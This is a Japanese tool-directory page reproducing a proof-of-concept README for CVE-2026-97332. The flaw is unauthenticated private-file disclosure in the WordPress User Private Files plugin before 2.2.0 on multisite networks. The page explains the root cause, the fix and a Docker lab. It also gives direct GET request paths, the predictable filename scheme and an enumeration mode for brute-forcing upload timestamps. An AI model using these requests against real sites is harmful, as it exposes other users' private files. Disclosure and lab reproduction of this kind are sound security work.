Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-97332-PoC — CVE-2026-97332 の独立した PoC と再現可能なラボ — WordPress Multisite における User Private Files < 2.2.0 の未認証プライベートファイル開示。 | Kitploit
ツール/GitHubGitHub/kolya080808/cve-2026-97332-poc
防御ツール脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテストラボと実践
GitHubkolya080808/cve-2026-97332-poc

CVE-2026-97332-PoC

CVE-2026-97332 の独立した PoC と再現可能なラボ — WordPress Multisite における User Private Files < 2.2.0 の未認証プライベートファイル開示。

リポジトリを見る
411ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2026-97332 — WordPress User Private Files < 2.2.0 未認証のプライベートファイル開示 (マルチサイト)

CVE Severity Affected Fixed Requires PoC Ethics

[!NOTE] このリポジトリは CVE-2026-97332 の独立した再現および概念実証 (Proof of Concept) です。

脆弱性の原発見: Akshat Parikh (SN1PER)。 CNA / アドバイザリ: WPScan。 独立した PoC および再現: Kolya080808。

WordPress プラグイン User Private Files (wp.org スラッグ user-private-files) の 2.2.0 より前のバージョンにおいて、マルチサイトインストール上で他ユーザーのプライベートファイルが未認証で開示される脆弱性です。このプラグインは各ユーザーのプライベート文書を平文のアップロードツリー内に保存し、ルートの .htaccess に追記された単一の RewriteRule で保護しています。このルールはファイルリクエストを PHP のアクセスチェックへルーティングします。マルチサイトネットワーク上ではこのルールが決して到達されません: 単純な GET リクエスト — Cookie なし、ヘッダーなし、ログインなし — が他ユーザーのプライベートファイルを静的コンテンツとして返します。アクセス制御の不備、CWE-284、CVSS 3.1 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)。

このリポジトリには、動作する依存関係不要の Python エクスプロイトと、攻撃をエンドツーエンドで再現するための 2 コンテナ構成の Docker ラボ (脆弱な 2.1.9 と修正済みの 2.2.0、いずれも WordPress マルチサイト) が含まれています。

[!CAUTION] この資料は認可されたセキュリティ研究および防御的テストのみを目的として提供されています (末尾の免責事項を参照)。書面による許可なく、所有または運用していないシステムを攻撃することは違法です。

脆弱性について

このプラグインはプライベートファイルを、フラットなサイトごとのアップロードサブディレクトリ — wp-content/uploads/upf-docs/ (メインサイト) および wp-content/uploads/sites/N/upf-docs/ (サブサイト N) — に通常の添付ファイルとして保存しており、ユーザーごとの分離はありません。アクセス制御はディレクトリ上にはなく、PHP (dl-file.php: 匿名ユーザーには 403、その後 author/許可リストのチェック) に存在し、プラグイン有効化時にルートの .htaccess へ出力されるリライトを通じてのみ到達されます:

# appended by 2.1.9 (upvf_actdeact.php), AFTER the WordPress block
RewriteRule ^wp-content/uploads/upf-docs/(.*)$ https://site/?file=$1 [QSA,L]

マルチサイトでは、独立した2つの理由により、これは決して発火しません:

  1. ネットワークの .htaccess が既存ファイルを先にショートサーキットする。 WordPress マルチサイトは独自のルールセットをルートの .htaccess に書き込みます:

    RewriteCond %{REQUEST_FILENAME} -f [OR]
    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^ - [L]
    

    物理的に存在するファイルへのリクエストマッピングは、その場で書き換えを終了します — Apache はそれを静的コンテンツとして配信し、mod_rewrite はファイル末尾にあるプラグインのブロックに決して到達しません。(シングルサイトの WordPress は否定条件 !-f/!-d を使用するため、同じプラグインがそこでは動作します。)これはすでにネットワークのメインサイトのファイルを露出させています。

  2. サブサイトのパスはパターンにまったく一致しません。 マルチサイトでは各サイトが独自のアップロードを持ちます — wp-content/uploads/sites/N/…、さらにサブディレクトリネットワークでは /siteN/ という URL プレフィックス — 一方、ルールはメインサイトのベース URL から ^wp-content/uploads/upf-docs/ にハードコードされています。ネットワークの内部リライトが /siteN/ プレフィックスを除去した後でも、sites/N/ セグメントは依然として一致しません。

したがって、あらゆるマルチサイトネットワーク(サブディレクトリとサブドメインの両方)において、未認証の攻撃者がプライベートファイルを直接取得できます:

GET /wp-content/uploads/upf-docs/victim.pdf HTTP/1.1            (main site)
GET /site2/wp-content/uploads/sites/2/upf-docs/victim.pdf HTTP/1.1  (subsite)

レスポンスはファイル本体を伴う 200 です — Apache が uploads/ から直接配信しており、プラグインのアクセスチェックは一切実行されません。

ファイル名は予測可能

URL に秘密の要素はありません。プラグインは所有者の数値ユーザー ID とアップロード時の Unix 秒から名前を生成します:

生成元 (2.1.9)ディスク上の名前
モダン UI、inc/functions-file.php:73-77usr{ID}_{unixtime}_{original}
クラシックテンプレート、inc/classic-user-functions.phpuser_{ID}_doc_{unixtime}.{ext}

マルチサイトネットワーク上のユーザー ID は、共有された単一の wp_users テーブルからの小さな連番整数であるため、攻撃者に必要なのはおおよそのアップロード時刻(±2 分の範囲で約 240 リクエスト)と、元のファイル名またはその拡張子だけです。衝突サフィックス(-1、-2)は存在しますが稀です。

修正 (2.2.0)

バージョン 2.2.0 では、ルートファイルの書き換えがフォルダレベルの upf-docs/.htaccess に置き換えられました — RewriteRule ^(.*)$ {home}/?file=$1 [R=302,QSA,L]、さらに mod_rewrite が存在しない場合は Require all denied — これが admin_init のたびに(サブサイトごとに自己修復的に)再作成されます。ディレクトリ単位のルールは URL プレフィックスに関係なく upf-docs/ 配下の任意の物理パスに対して発火するため、直接 GET はアクセスチェックへの 302 となり、匿名ユーザーには 403 となります。ファイルは移動されず、傍受の仕組みだけが変わります。この 302 対静的配信の違いが、エクスプロイトで動作検出器として使われる理由でもあります。

影響を受けるバージョン

  • User Private Files < 2.2.0(2.1.9 のソースで検証済み。SVN タグ 1.0.1–2.1.9 も同じルート書き換え設計を有する)
  • マルチサイト構成(サブディレクトリおよびサブドメイン)のみ。シングルサイト構成は、Apache が .htaccess を読み込み、有効化時にファイルが書き込み可能であった限り、ルートルールによって保護されます(nginx ではベンダーによる手動書き換えが必要 — プラグインの readme を参照)。
  • 参考:WPScan アドバイザリ d6a144b3-84e3-43eb-92d3-fd4505dd0e1c (公開日 2026-10-02、研究者 Akshat Parikh / SN1PER)。

エクスプロイトの仕組み

exploit.py は純粋な Python 3 標準ライブラリ(http.client)のみを使用し、リダイレクトを追跡せず、Cookie も送信しません:

  1. バージョンチェック(ステップ 1、攻撃前): GET /wp-content/plugins/user-private-files/readme.txt を実行し、Stable tag: を解析します。 < 2.2.0 → 続行;>= 2.2.0 → 赤色の NOT VULNERABLE - plugin 2.2.0+ (patched) ボックスを表示し、終了コード 6。readme.txt が読み取れない場合は、存在しない upf-docs/ 名に対する動作プローブ(302 = 書き換えが有効、404 = 静的配信)が表示され、実行は継続します(--skip-check でこのステップ全体を無効化)。
  2. URL 構築(ステップ 2): メインサイトは {base}/wp-content/uploads/upf-docs/{file}、または --site site2 --site-id 2 を指定した場合は {base}/site2/wp-content/uploads/sites/2/upf-docs/{file}。
  3. 取得(ステップ 3): 単一のプレーンな GET、Cookie なし、Authorization なし。
  4. 判定(ステップ 4):
    • 200 → * LEAKED とファイルの先頭行を証拠として表示、終了コード 0;
    • 302 → 「アクセスチェックへリダイレクト — 脆弱ではない / 修正済み」、終了コード 1;
    • 404 → 「ファイルが見つかりません(名前が違う?)」 — --guess を試す、終了コード 1。

--guess モードは固定の 1 つの名前ではなく、予測可能な名前パターンを列挙します:--user-id 2 --orig-name "Invoice 2026.pdf" --around <unixtime> --window 120 は、ウィンドウ内の毎秒について usr2_{t}_Invoice-2026.pdf と user_2_doc_{t}.pdf を生成し、200 を返すすべての名前を読み取ります。

終了コード:0 ファイルが開示された · 1 開示されなかった(404 / 302 / 403) · 6 脆弱ではない(バージョンチェック) · 4 ネットワークエラー。

リポジトリ構成

exploit.py     Python exploit (stdlib only, zero dependencies)
demo.sh        end-to-end demo: leak on 2.1.9, refusal on 2.2.0
README.md      this file
logs/          actual runs of demo.sh (vulnerable and patched)
lab/   docker lab: 2 x WordPress multisite + MariaDB
               (wp-vuln: port 8080, plugin 2.1.9; wp-control: port 8081, plugin 2.2.0)

再現

cd stand-wp && docker compose up -d     # vulnerable 8080 + control 8081
cd ../poc-upf && ./demo.sh              # full run, logs into logs/

デモは順に、readme.txt から両方のスタンドの Stable tag を出力します。次に、認証情報なしで user1 のプライベートファイルを漏洩させる 2.1.9(ポート 8080)に対する攻撃、バージョンチェックが拒否する(終了コード 6)2.2.0(ポート 8081)に対する同じ攻撃、そして --skip-check を付けた場合、アクセスチェックがパスに戻っていることを証明する生の 302 -> /?file=... リダイレクトを出力します。

期待される出力 — 脆弱な 2.1.9(ポート 8080)

  [1/4] Fingerprinting the plugin via readme.txt ........ VULNERABLE (2.1.9)
  > user-private-files readme.txt reports Stable tag: 2.1.9 (< 2.2.0) - affected on multisite
  [2/4] Building the direct-download URL ................................ OK
  > http://localhost:8080/wp-content/uploads/upf-docs/victim-secret.txt
  [3/4] Fetching the file with no authentication .................... 200 OK
  [4/4] Verdict ..................................................... LEAKED

  * LEAKED  victim-secret.txt (56 bytes, text/plain)
  Proof - first lines of the private file:
    TOPSECRET: private file of user1 (CVE-2026-97332 stand)
exit code 0

期待される出力 — パッチ適用済み 2.2.0 (ポート 8081)

  [1/4] Fingerprinting the plugin via readme.txt ............ NOT VULNERABLE
  > user-private-files readme.txt reports Stable tag: 2.2.0 (patched, >= 2.2.0)
  > 2.2.0 moved the rewrite into upf-docs/.htaccess - direct GETs can no longer bypass the access check

  NOT VULNERABLE - plugin 2.2.0+ (patched)
exit code 6

and --skip-check を指定した場合(振る舞い検出器):

  [3/4] Fetching the file with no authentication .............. 302 redirect
  [4/4] Verdict .................................................... REFUSED
  > direct GET was rewritten to http://localhost:8081/?file=victim-secret.txt (access check)
exit code 1

ラボ認証情報(ローカルスタンドのみ)

ツールをダウンロード